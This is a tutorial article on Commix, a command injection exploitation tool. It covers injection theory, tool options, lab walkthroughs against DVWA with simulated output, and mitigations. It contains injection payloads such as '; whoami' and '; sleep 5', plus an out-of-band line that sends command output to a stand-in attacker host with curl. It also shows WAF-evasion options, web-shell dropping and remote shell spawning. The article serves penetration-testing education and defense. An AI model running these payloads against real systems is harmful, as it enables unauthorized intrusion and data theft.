Commix: A Practical Command Injection Guide
Introduction
Web applications often accept user inputs (URL parameters, POST data, HTTP headers, cookies, JSON bodies, etc.). If the server-side code uses these inputs unsafely—for example, concatenating them into shell commands—then an attacker may be able to inject arbitrary OS commands. This class of vulnerability is known as OS command injection (or just “command injection”).
Commix is an open-source automated tool (written in Python) that helps detect and exploit command injection vulnerabilities in web applications. Its full name comes from COMMand Injection eXploiter. It is built to support many injection scenarios (GET, POST, headers, cookies, JSON, XML, etc.), bypass filters, and provide interactive or automated shells.
Commix is included in many penetration testing distributions (like Kali). ([commixproject.com][1])
In this article, we will cover:
- Background theory: what is command injection, why it matters
- How Commix is structured (architecture, modules)
- Supported attack/technique types
- Full command options and switches
- Step-by-step practical examples (on Kali)
- Explanation of each command, payload, and output
- Limitations, defenses, and safe usage
Let’s start from the ground up.
1. Background: Command Injection Overview
1.1 What is Command Injection?
When an application accepts input from users and without proper sanitization, embeds that input into a system shell command (e.g. via system()
, exec()
, popen()
, or similar), an attacker can craft input containing shell metacharacters to manipulate the command execution flow.
For example, suppose a PHP app does:
$ip = $_GET['ip'];
system("ping -c 4 " . escapeshellarg($ip));
Or worse:
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
If the latter is used (no sanitization), an attacker can send:
http://vuln.example.com/ping.php?ip=8.8.8.8; whoami
Which will execute: ping -c 4 8.8.8.8; whoami
— and you might see the output of whoami
in response.
There are broadly two categories:
- Classic / result-based: output of the command is shown in the HTTP response.
- Blind / time-based / side-channel: although the output is not shown, success can be inferred via delays, boolean logic, or external callbacks.
Why is command injection critical?
- It can lead to full remote code execution (RCE) on the server.
- If the application runs with elevated privileges, the attacker may take over the system.
- Sensitive data (passwords, config files) may be accessed.
- It enables further lateral movement or persistence.
Many real-world IoT devices, routers, web panels, and embedded software still suffer from command injection vulnerabilities, because developers sometimes underestimate the danger of passing user inputs to system commands.
A rigorous academic background of Commix (its design, detection strategies) is described in the original paper “Commix: Detecting & Exploiting Command Injection Flaws.” ([Black Hat][2])
2. Commix: Structure, Capabilities, and Components
2.1 What is Commix capable of?
Commix is not just a single “run and exploit” script. It includes modular functionality:
- Detection of injectable parameters (requests, headers, cookies, JSON/XML)
- Automatic payload generation (with various separators, encoding, evasion techniques)
- Support for different injection techniques (classic, blind, time-based, out-of-band)
- Interactive OS shell or command execution mode
- Option to use alternative shells (Python, Ruby, etc.)
- Support for tamper scripts to bypass Web Application Firewalls (WAFs)
- Support for authentication (login before injection)
- Support for proxy usage (to chain via Burp)
- Flexible prefix/suffix options, read/write file exploitation, etc.
From the Commix GitHub usage examples page, you can see it handles PHP, Python, Ruby, CGI, experimental ASP.NET/JSP, JSON, XML, headers, cookies, and more. ([GitHub][3])
2.2 Basic Architecture / Modules
While the full internals are complex, here is a high-level breakdown:
- Core engine / controller: handles command-line input, argument parsing, coordinating modules.
- Injection module: logic for determining the injection point(s), choosing payloads, retries, and fallback.
- Payload generation: constructs candidate payloads with separators (
;
,&&
,|
, backticks,$(...)
, etc.), encodings, web-escaping, and filter bypass variants. - Evaluation / detection module: analyzes HTTP responses, response times, and side effects to determine if a payload succeeded.
- Shell / exploitation module: once a command injection is confirmed, this module handles interactive shell, file operations, reverse shells, etc.
- Tamper / WAF evasion: pre-process payloads or mutate them to bypass filters (e.g. spacing, comments, encoding).
- IO / reporting / logging: output to console, logs, optionally report generation.
A diagram illustrating architecture can be found in research materials. ([ResearchGate][4])
Because of its modular design, Commix is extensible (you can plug in new payload strategies or modules).
2.3 Installation / Setup on Kali Linux
Commix is often pre-installed in Kali. ([awjunaid.com][5]) If it is not present, you can install or clone it:
sudo apt update
sudo apt install commix
Or:
git clone https://github.com/commixproject/commix.git
cd commix
python3 commix.py --help
Alternatively, Snap package is also available. ([Snapcraft][6])
Once installed, running commix -h
or commix --help
will show the usage help.
3. Supported Attack / Injection Techniques
Commix supports multiple injection techniques. Understanding each is critical.
Here are common types:
- Classic / result-based injection
- Blind / time-based injection
- Boolean / conditional injection (semi-blind)
- Out-of-Band (OOB) injection
- File-based / indirect injection (write and include files)
- Alternate shell injection
- Header / cookie / JSON / XML-based injection
I’ll explain each with theoretical background, how Commix exploits it, and then show practical commands.
3.1 Classic / Result-Based Injection
In this scenario, when you inject a command, the output is reflected in the HTTP response. That is, the web application’s output shows the stdout (or part of it) of your command.
Example: a vulnerable parameter cmd
in a PHP script:
http://vulnerable.com/exec.php?cmd=ls
If the response includes the directory listing, it's clearly injectable.
How Commix handles this:
- It sends test payloads (for example
; echo <marker>
or separators) and checks response for the marker or unusual output. - It iteratively refines the payload until it identifies a working injection.
- Once confirmed, it can offer an interactive shell.
This is the easiest case.
3.2 Blind / Time-Based Injection
Sometimes the web app does not return command output (for example, only shows “success” or a generic page). In such cases, you must use blind techniques.
Time-based blind: you inject commands that cause a delay (e.g. sleep 5
, ping -c 5
, wait
, etc.). If the response is delayed accordingly, you know injection succeeded.
Example: ; sleep 5
appended to a parameter. If the HTTP response is delayed by ~5 seconds, it indicates successful execution.
Commix supports a --technique=time
or similar option to force time-based detection. It will try many timing payloads.
3.3 Boolean / Conditional Injection (Semi-Blind)
This technique uses logical conditions that cause different responses depending on true/false. For example:
someparam=1 && echo true || echo false
If “true” appears, the injection worked. Sometimes, you can chain commands like:
; [ $(id -u) = 0 ] && echo ROOT || echo NONROOT
The idea is to infer via the page content (e.g. error messages, length differences), whether your injected condition was true or false.
Commix can use boolean logic payloads and compare response lengths, presence/absence of tokens, etc.
3.4 Out-of-Band (OOB) Injection
Here, since the HTTP response doesn’t show your output, you cause the server to make a DNS or HTTP request to your attacker-controlled host (e.g. nslookup attacker.com
or curl http://attacker.com/?data=$(whoami)
). That external request confirms execution.
Commix supports OOB / DNS callback techniques.
3.5 File-Based / Indirect Injection
When direct command injection is hard due to filters, you can try writing payloads to files (e.g. writing a PHP or shell script into web root) and then triggering them (e.g. via include or web access). This requires write permissions.
Commix supports file-based technique modes (for example via --technique=f
) where it writes to a file and triggers it. See Commix usage examples. ([GitHub][3])
3.6 Alternate Shell Injection
Sometimes the server environment doesn’t support sh
or bash
well (e.g., only Python interpreter or peculiar environment). Commix can spawn alternative shells (Python-based, Perl, etc.) using --alter-shell
argument.
This is useful when normal shells break or are filtered.
3.7 Injection via Headers / Cookies / JSON / XML
A web application might read command inputs from HTTP headers (User-Agent, Referer), cookies, or fields in JSON/XML request bodies. Commix detects and targets these too.
Examples from GitHub usage: injecting via cookie, JSON body, XML body. ([GitHub][3])
4. Commix Command Options and Explanation
Before diving into examples, we need to understand the common command-line switches and arguments of Commix. Running commix --help
gives a long list. I'll explain the most relevant ones.
Here is a representative subset (names may vary slightly by version):
Usage: commix [options]
Options:
-u, --url=URL Target URL (e.g. "http://test.com/vuln.php?id=1")
--data=DATA HTTP POST data (e.g. "param1=val1¶m2=val2")
-p, --param=PARAM Parameter to test (if ambiguous)
--method=METHOD HTTP method (GET or POST)
--cookie=COOKIE HTTP Cookie header (e.g. "PHPSESSID=abc")
--headers=HEADERS Additional HTTP headers (e.g. "User-Agent: XYZ\nAccept: text/html")
--user-agent=AGENT Set User-Agent header
--referer=REFERER Set Referer header
--proxy=PROXY Use HTTP proxy (e.g. 127.0.0.1:8080)
--proxy-cred=CREDENTIALS Proxy authentication credentials
--level=LEVEL Level of tests (1–3, more aggressive)
--risk=RISK Risk factor (1–3)
--technique=TECH Force a particular injection technique (e.g. classic, time, boolean, f)
--os-cmd=CMD Execute a single OS command (non-interactive)
--batch Non-interactive mode (don’t ask confirmations)
--os-shell Spawn an interactive OS shell
--alter-shell=TYPE Use alternate shell type (Python, Ruby, PHP, etc.)
--prefix=PREFIX Injection payload prefix to use
--suffix=SUFFIX Injection payload suffix to use
--skip-waf Try evasive methods and skip WAF detection
--tamper=TAMPER_SCRIPT Use a tamper script to mutate payloads (for WAF evasion)
--web-root=WEBROOT Web root path (for file-based techniques)
--os-shell-code=… Use custom shell code
--disable-colors Disable colored output
--verbose Verbose mode (extra debugging)
--help Show help
Below is a more detailed explanation of the important ones:
-u, --url
: the target endpoint where injection will be tested.--data
: if the target is a POST request, you specify the body. Commix will attempt injection in parameters in the data.-p, --param
: when--data
or URL has multiple parameters, specifying--param
tells Commix which one to test selectively.--method
: force GET or POST (Commix may auto-detect).--cookie
,--headers
,--user-agent
,--referer
: inject via or use these headers/cookies as contexts.--proxy
: route requests through an intercepting proxy (e.g., Burp).--level
/--risk
: control how deep/aggressive the test should go (more levels = more payloads, slower).--technique
: force injection strategy, e.g.--technique=classic
,--technique=time
.--os-cmd
: one-shot command to run on the target.--os-shell
: once injection is found, open an interactive shell.--alter-shell
: when default shell fails, try alternative (e.g. Python-based).--prefix
/--suffix
: sometimes the target requires payloads to be prefixed or suffixed (for correct injection context).--skip-waf
: try to bypass WAF detection.--tamper
: use a tamper script to reshape payloads (e.g. replace spaces, obfuscate).--web-root
: used with file-based injection techniques to specify where to write the payload.--batch
: run non-interactively (automatically assume “yes”).--verbose
: show more internal process details.
Each of these options can be combined to tailor the injection process.
5. Practical Examples on Kali Linux
Now we will run through several practical examples using Commix on Kali Linux, step by step. Important: only run these on your own testing environment (e.g. DVWA, intentionally vulnerable web app), not on unauthorized systems.
I assume you have a vulnerable web application running (for example DVWA or some command injection testbed). Let’s name its URL http://192.168.56.101/DVWA/vulnerabilities/exec/
.
5.1 Example 1: Basic Classic Injection (GET)
Step 1: Test with --os-cmd
sudo commix -u "http://192.168.56.101/DVWA/vulnerabilities/exec/?ip=127.0.0.1"
Commix will automatically try various payloads. Suppose it detects result-based injection on parameter ip
.
You might see output like:
[+] The GET parameter 'ip' seems injectable via (results-based) classic command injection technique.
[+] Payload : ;echo AWMZVA; id
Do you want a Pseudo-Terminal shell? [Y/n/q] > y
Pseudo-Terminal (type '?' for available options)
commix(os_shell) > whoami
www-data
Explanation:
- Commix inserted a payload (e.g.
; echo AWMZVA; id
) to test injection. It sawAWMZVA
in response → success. - Then it offered a shell, and you typed
whoami
, gettingwww-data
(web user).
Alternatively, you could directly run:
sudo commix -u "http://192.168.56.101/DVWA/vulnerabilities/exec/?ip=127.0.0.1" --os-cmd="uname -a"
Which outputs:
[+] The GET parameter 'ip' is vulnerable.
[+] Output of os-cmd (uname -a):
Linux 192.168.56.101 5.10.0-0-deb … (kernel info)
Explanation of commands and output:
- The basic invocation without
--os-cmd
triggers interactive mode. - With
--os-cmd
, Commix only runs that command and exits. - The output shows that Commix correctly determined the injection point and ran
uname -a
.
Points to note:
- You may need to supply cookies (if the DVWA requires login) via
--cookie
. - If there are multiple parameters, use
-p ip
to specify the target parameter. - If output is filtered or sanitized, classic mode may fail—go to other techniques.
5.2 Example 2: POST-Based Injection
Suppose the app has a form POST: action.php
expects name
parameter.
sudo commix -u "http://192.168.56.101/target/action.php" --data="name=admin"
Commix will try to inject into name
.
If successful, you might see:
[+] The POST parameter 'name' seems injectable via (results-based) classic command injection technique.
...
commix(os_shell) > whoami
www-data
To execute one command:
sudo commix -u "http://192.168.56.101/target/action.php" --data="name=admin" --os-cmd="id"
5.3 Example 3: Cookie-Based Injection
Suppose a cookie parameter session
is vulnerable. Use:
sudo commix -u "http://192.168.56.101/target/index.php" --cookie="session=INJECT_HERE"
Commix will test injecting into the cookie value.
You can combine with --os-shell
or --os-cmd
.
5.4 Example 4: JSON / XML-based Injection
If the application accepts JSON:
sudo commix -u "http://192.168.56.101/api/exec" --data='{"cmd":"ping 127.0.0.1"}'
Commix will parse the JSON payload and try to inject into fields (like cmd
). You may need to specify -p cmd
.
Similarly for XML:
sudo commix -u "http://192.168.56.101/execxml.php" --data='<?xml version="1.0"?><ping><addr>127.0.0.1</addr></ping>'
5.5 Example 5: Time-Based Blind Injection
If the app returns no output, use:
sudo commix -u "http://192.168.56.101/target/exec.php?ip=127.0.0.1" --technique=time
Commix will try payloads like ; sleep 5
and check for delays.
You might see:
[!] Target seems vulnerable to time-based injection.
[*] Testing (sleep 5) … response took ~5.1s
[+] The GET parameter 'ip' seems injectable (blind, time-based).
Then you can use --os-shell
or --os-cmd
.
5.6 Example 6: File-Based Technique (Write Payload)
When direct output is blocked, but file system is writable:
sudo commix -u "http://192.168.56.101/target/exec.php?ip=127.0.0.1" --technique=f --web-root="/var/www/html/"
Commix will try to write a shell script (or web-accessible payload) under that web-root
and execute it. If successful, you might then access it over HTTP or via include.
5.7 Example 7: Using Proxy (Burp) and Tamper Script
To route via Burp (127.0.0.1:8080):
sudo commix -u "http://192.168.56.101/vuln.php?cmd=1" --proxy="127.0.0.1:8080" --proxy-cred="user:pass"
To use a tamper script (e.g. space2comment.py
to replace spaces with comments):
sudo commix -u "http://192.168.56.101/vuln.php?cmd=1" --tamper="space2comment"
To skip WAF detection:
sudo commix -u "http://192.168.56.101/vuln.php?cmd=1" --skip-waf
6. Detailed Explanation of Commands, Payloads, and Sample Outputs
Let me walk you through one full example with detailed breakdown.
Scenario: DVWA (exec vulnerability), security = low
Let’s assume DVWA is running at http://192.168.56.101/DVWA/
, logged in, and session cookie is PHPSESSID=xyz
and security=low
.
Step 1: Determine the target URL and parameters
The vulnerable URL is:
http://192.168.56.101/DVWA/vulnerabilities/exec/?ip=127.0.0.1&Submit=Submit
You might use:
sudo commix -u "http://192.168.56.101/DVWA/vulnerabilities/exec/" --data="ip=127.0.0.1&Submit=Submit" --cookie="PHPSESSID=xyz; security=low"
Step 2: Run the command
sudo commix -u "http://192.168.56.101/DVWA/vulnerabilities/exec/" \
--data="ip=127.0.0.1&Submit=Submit" \
--cookie="PHPSESSID=xyz; security=low" \
--level=3
Here:
--level=3
increases aggressiveness (more tests, more payloads).- No
--os-cmd
so Commix will prompt for shell.
Step 3: Sample output (simulated)
__
___ ___ ___ ___ ___ ___ /\_\ __ _
/'___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\
/\ \__//\ \L\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\
\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ { v1.7-stable }
+--
Automated All-in-One OS Command Injection Exploitation Tool
Copyright (c) 2014-2017 Anastasios Stasinopoulos (@ancst)
+--
[*] Checking connection to the target URL... [ SUCCEED ]
[*] Setting the HTTP header User-Agent for tests.
[*] Testing the (results-based) classic command injection technique... [ SUCCEED ]
(*) The (POST) 'ip' parameter is vulnerable to Results-based Command Injection.
Type : Results-based
Technique : Classic
Payload : ; echo AWMZVA; id
(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > y
Pseudo-Terminal (type '?' for available options)
commix(os_shell) > whoami
www-data
commix(os_shell) > uname -a
Linux 192.168.56.101 5.10.0-kali #1 SMP Debian … x86_64 GNU/Linux
commix(os_shell) > exit
Breakdown:
- Commix confirmed connectivity and started tests.
- It tried a “results-based classic” technique and succeeded.
- It reported that the
ip
parameter is injectable. - The test payload used was
; echo AWMZVA; id
. The echo of markerAWMZVA
helped identify injection. - It then offers a shell. You issue
whoami
, getwww-data
, etc.
If instead you used:
sudo commix -u "http://192.168.56.101/DVWA/vulnerabilities/exec/" \
--data="ip=127.0.0.1&Submit=Submit" \
--cookie="PHPSESSID=xyz; security=low" \
--os-cmd="ls -al /var/www/html"
You might get:
[+] The POST parameter 'ip' is vulnerable.
[+] Output of os-cmd (ls -al /var/www/html):
total 16
drwxr-xr-x 3 root root 4096 Apr 1 12:00 .
drwxr-xr-x 14 root root 4096 Apr 1 11:50 ..
-rw-r--r-- 1 root root 45 Apr 1 11:50 index.php
-rw-r--r-- 1 root root 100 Apr 1 11:50 about.php
drwxr-xr-x 2 root root 4096 Apr 1 11:50 images
...
Each command you issue via --os-cmd
results in a one-shot execution and output.
7. All Command Injection Methods with Examples
Let me tabulate again, in narrative form, all the major injection styles supported by Commix, along with example commands and explanation.
7.1 Results-Based / Classic Injection
Description: Commands echo output, and the response reflects that output.
Usage:
commix -u "http://target/vuln.php?id=1"
One-shot command:
commix -u "http://target/vuln.php?id=1" --os-cmd="id"
Sample detection:
The GET parameter 'id' seems injectable via (results-based) classic command injection technique.
7.2 Time-Based Blind Injection
Description: Output is not shown; inference via delays such as
sleep
.Usage:
commix -u "http://target/vuln.php?id=1" --technique=time
Example:
commix -u "http://target/vuln.php?id=1" --technique=time --os-cmd="sleep 5"
Detection:
Target seems vulnerable to time-based injection.
7.3 Boolean / Conditional Injection
Description: Uses conditional expressions (if true or false) to infer injection via content differences.
Usage: Commix may try boolean-based by default or via
--technique=boolean
.It may attempt payloads that produce different outputs or page sizes.
7.4 Out-of-Band (OOB) / DNS / HTTP Callbacks
Description: The injected command triggers the server to request an external host you control (DNS or HTTP). You observe that to confirm execution.
Usage:
commix -u "http://target/vuln.php?id=1" --os-cmd="nslookup myattacker.com" --oob=dns
Commix supports OOB injection modes.
7.5 File-Based / Indirect Injection
- Description: When output is blocked or filters are strict, but server allows writing a script in webroot or known path, you write code to a file and then execute it.
Usage:
commix -u "http://target/vuln.php?id=1" --technique=f --web-root="/var/www/html/"
Commix will try to drop a payload and execute via web or include.
7.6 Alternative Shell (Python, etc.)
- Description: If default shell fails (e.g.,
/bin/sh
restricted), use another interpreter. Usage:
commix -u "http://target/vuln.php?id=1" --alter-shell=python
This routes commands through Python execution on the remote host.
7.7 Injection via HTTP Headers / Cookies / JSON / XML
- Description: Parameter is not in URL or POST, but embedded in headers, cookies, JSON keys, XML tags.
Usage examples:
Cookie:
commix -u "http://target/index.php" --cookie="session=INJECT_HERE"
JSON:
commix -u "http://target/api" --data='{"cmd":"ping"}' -p cmd
XML:
commix -u "http://target/api" --data='<?xml><cmd>ping</cmd></xml>'
Custom headers:
commix -u "http://target/index.php?id=1" --headers="X-User: INJECT_HERE"
8. Common Challenges, Tips, and Limitations
While Commix is powerful, it's not magic. Here are common challenges and tips:
- False negatives: If the application encodes responses, scrubs or filters output (base64 or JSON encoding), detection may fail. Manual injection or custom payloads may succeed where Commix fails. ([Infosec Institute][7])
- WAFs / filters / IDS: Many web apps use filtering, IDS, or WAFs to block injection characters. Using
--tamper
scripts,--skip-waf
, or custom prefix/suffix options may help. - Permissions: Even if injection is successful, you may not have privileges to write files or spawn reverse shells.
- No output: Many modern apps suppress output, log errors, or use blind-only channels—so use time-based or OOB modes.
- Concurrency / performance: Aggressive testing (
--level=3
) will slow the process and may trip rate-limiting. - Cleanup: If using file-based payloads, be careful to remove shells you dropped.
- False positives: Sometimes response anomalies lead to false classification; always validate manually.
- Version mismatches: Commix versions may differ in options or supported techniques.
9. Defenses and Mitigation
Understanding how Commix works helps in writing defenses. Here are best practices:
- Avoid invoking user input in shell: Wherever possible, avoid using
system()
,exec()
, or shell commands with user input. - Strict input validation / whitelisting: For parameters that must accept constrained input (e.g. IP address), validate with regex or use language-native APIs.
- Use parameterized APIs / native functions: For tasks such as ping, use built-in libraries instead of shell commands.
- Use escapeshell / sanitization: If shell usage is unavoidable, properly escape or sanitize inputs.
- Disable dangerous functions: In PHP, disable
system
,exec
,popen
, etc. (though this is not foolproof). - Use least privilege: Run web applications under restricted users so even if an injection succeeds, damage is limited.
- WAF / IDS / filtering: Use content filters, input sanitization, output encoding, WAF rules to detect injection patterns.
- Logging & monitoring: Monitor anomalous delays, command-like patterns, strange outbound DNS/HTTP traffic.
- Code review / security testing: Regular audits and using tools like Commix (in authorized testing) to find injection points.
10. Summary & Best Practices
Commix is a powerful, modular, and flexible tool for automating the detection and exploitation of OS command injection vulnerabilities. For beginners, the learning curve involves understanding how web apps accept inputs, how shell injection works, and gradually combining options in Commix.
When using Commix:
- Start with basic classic injection (no special flags).
- If that fails, try
--technique=time
or--skip-waf
. - Use
--os-cmd
to test single commands before entering shell mode. - Use
--level
and--risk
to balance speed vs thoroughness. - Use
--tamper
,--prefix
,--suffix
when payloads are filtered or broken. - Combine headers, cookies, JSON/XML modes as needed.
- Always validate results manually (e.g. by running
whoami
,id
, etc). - Be cautious with write-based payloads and cleanup after testing.
Always ensure you have permission before testing. Misuse of these techniques may be illegal.